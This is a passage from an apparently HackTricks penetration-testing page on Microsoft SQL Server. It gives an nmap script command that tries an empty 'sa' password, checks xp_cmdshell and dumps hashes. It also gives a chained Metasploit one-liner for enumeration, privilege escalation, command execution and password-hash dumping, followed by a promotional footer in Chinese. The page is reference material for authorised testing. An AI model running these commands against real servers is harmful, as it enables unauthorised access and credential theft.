Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


